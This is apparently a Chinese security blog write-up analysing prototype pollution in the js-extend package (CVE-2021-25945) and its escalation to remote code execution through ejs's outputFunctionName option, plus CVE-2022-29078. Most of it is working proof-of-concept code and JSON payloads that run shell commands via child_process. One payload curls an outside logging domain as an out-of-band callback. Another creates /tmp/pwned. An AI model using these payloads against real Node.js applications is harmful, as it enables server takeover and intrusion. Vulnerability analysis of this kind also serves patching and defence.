简述:基本所有漏洞都遵守三点,漏洞存在、输入可控、触发代码,ejs原型链污染主要在最后触发上起作用

jsExtend模块的原型链污染

CVE-2021-25945,截至目前依旧可用

poc

const jsExtend = require("js-extend")
//const ejs = require('ejs');

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

可以稍微研究下,跟进到模块的代码

(function(factory) {
  if(typeof exports === 'object') {
    factory(exports);
  } else {
    factory(this);
  }
}).call(this, function(root) { 

  var slice   = Array.prototype.slice,
      each    = Array.prototype.forEach;

  var extend = function(obj) {
    if(typeof obj !== 'object') throw obj + ' is not an object' ;

    var sources = slice.call(arguments, 1); 

    each.call(sources, function(source) { //关键点
      if(source) {
        for(var prop in source) {
          if(typeof source[prop] === 'object' && obj[prop]) {
            extend.call(obj, obj[prop], source[prop]);
          } else {
            obj[prop] = source[prop];
          }
        } 
      }
    });

    return obj;
  }

  root.extend = extend;
});

不用怎么看,这个结构太熟悉了

所以 如果在使用extend函数时source可控,就有可能造成原型链污染

ejs 触发点

ejs的版本需要小于3.1.6,因为在这之后其空对象的定义从

opts = opts || {}; 

修改为了

opts = opts || createObj(null);

而后又改为了

var opts = utils.hasOwnOnlyObject(optsParam);

防止了原型污染导致的rce

image <em>1</em>.png

image.png

他之所以关键,是因为我们要污染的对象是outputFunctionName

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\\n';
      }

根据这个拼接,可以构建出如下的payload

{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'id\\');x"}}

完整poc

const jsExtend = require("js-extend")
const ejs = require('ejs');

function pollution(payload){
    /*
        > typeof({})
        'object'
    */
    console.log("Before: " + {}.outputFunctionName);
    jsExtend.extend({}, JSON.parse(payload));
    console.log("After : " + {}.outputFunctionName);
}

function _render(){
    let html='<%= a %>'
    console.log(ejs.render(html,{a:'b'}))
}

var payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'curl ac8817da.log.cdncache.rr.nu\\');x"}}'

pollution(payload)
_render()

image <em>2</em>.png

CVE-2022-29078

也是在版本3.1.6 之前存在的ssti模板注入

这个漏洞的本质其实也是控制outputFunctionName 导致的rce

遇到的问题:

curl "127.0.0.1:3000?test=AAAA&settings\\[view%20options\\]\\[A\\]=BBBB"

使用payload的时候预期应该是settings中添加内容,就像

image <em>3</em>.png

但我遇到的情况是

image <em>5</em>.png

并没有如期插入,而是创建了settings[view options][A],这就导致了

viewOpts = data.settings['view options'];
if (viewOpts) {
	utils.shallowCopy(opts, viewOpts);
}

没有触发

暂时没有解决,先假设能够成功触发

poc

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

o = {
  "settings":{
    "view options":{
      "outputFunctionName":'x;process.mainModule.require("child_process").execSync("touch /tmp/pwned");s',
    }
  }
}

app.get('/page', (req,res) => {
    res.render('page', o);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

image <em>6</em>.png

而后经过node_modules/ejs/lib/utils.js

exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};

回顾前面的代码

viewOpts = data.settings['view options'];
if (viewOpts) {
	utils.shallowCopy(opts, viewOpts);
}

如此便成功控制了opts.outputFunctionName的内容,到这里和原型链污染的流程就差不多了,通过控制outputFunctionName之后的代码拼接受到污染导致rce

image <em>7</em>.png

如此漏洞利用就算完成了

资料

ejs render原型链污染跟进分析 - KingBridge - 博客园

https://github.com/mde/ejs/issues/730

https://github.com/mde/ejs/issues/451

https://github.com/mde/ejs/pull/601

Prototype Pollution in js-extend | CVE-2021-25945 | Snyk

xz.aliyun.com

EJS, Server side template injection RCE (CVE-2022-29078) - writeup

ejs RCE CVE-2022-29078 bypassinhann’s blog